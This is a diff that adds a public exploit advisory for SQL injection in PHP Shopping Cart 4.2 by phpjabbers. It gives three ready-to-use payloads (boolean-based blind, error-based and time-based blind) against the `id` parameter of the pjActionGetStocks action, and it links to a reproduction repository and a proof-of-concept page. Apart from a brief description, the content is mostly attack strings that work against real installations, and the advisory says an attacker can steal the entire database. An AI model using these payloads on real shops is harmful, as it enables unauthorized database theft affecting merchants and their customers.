|
| 1 | +## Title: PHP Shopping Cart-4.2 Multiple-SQLi |
| 2 | +## Author: nu11secur1ty |
| 3 | +## Date: 09/13/2023 |
| 4 | +## Vendor: https://www.phpjabbers.com/ |
| 5 | +## Software:https://www.phpjabbers.com/php-shopping-cart-script/#sectionPricing |
| 6 | +## Reference: https://portswigger.net/web-security/sql-injection |
| 7 | + |
| 8 | +## Description: |
| 9 | +The `id` parameter appears to be vulnerable to SQL injection attacks. |
| 10 | +A single quote was submitted in the id parameter, and a database error |
| 11 | +message was returned. Two single quotes were then submitted and the |
| 12 | +error message disappeared. The attacker easily can steal all |
| 13 | +information from the database of this web application! |
| 14 | +WARNING! All of you: Be careful what you buy! This will be your responsibility! |
| 15 | + |
| 16 | +[+]Payload: |
| 17 | +mysql |
| 18 | + |
| 19 | +Parameter: id (GET) |
| 20 | + Type: boolean-based blind |
| 21 | + Title: OR boolean-based blind - WHERE or HAVING clause (NOT) |
| 22 | + Payload: controller=pjFront&action=pjActionGetStocks&id=1') OR NOT |
| 23 | +3795=3795-- sRcp&session_id= |
| 24 | + |
| 25 | + Type: error-based |
| 26 | + Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or |
| 27 | +GROUP BY clause (GTID_SUBSET) |
| 28 | + Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND |
| 29 | +GTID_SUBSET(CONCAT(0x71717a6b71,(SELECT |
| 30 | +(ELT(3820=3820,1))),0x7178627871),3820)-- kQZA&session_id= |
| 31 | + |
| 32 | + Type: time-based blind |
| 33 | + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) |
| 34 | + Payload: controller=pjFront&action=pjActionGetStocks&id=1') AND |
| 35 | +(SELECT 2625 FROM (SELECT(SLEEP(5)))nVyA)-- FGLs&session_id= |
| 36 | + |
| 37 | +## Reproduce: |
| 38 | +https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/PHP-Shopping-Cart-4.2 |
| 39 | + |
| 40 | +## Proof and Exploit: |
| 41 | +https://www.nu11secur1ty.com/2023/09/php-shopping-cart-42-multiple-sqli.html |
| 42 | + |
| 43 | +System Administrator - Infrastructure Engineer |
| 44 | +Penetration Testing Engineer |
| 45 | +nu11secur1ty <http://nu11secur1ty.com/> |
0 commit comments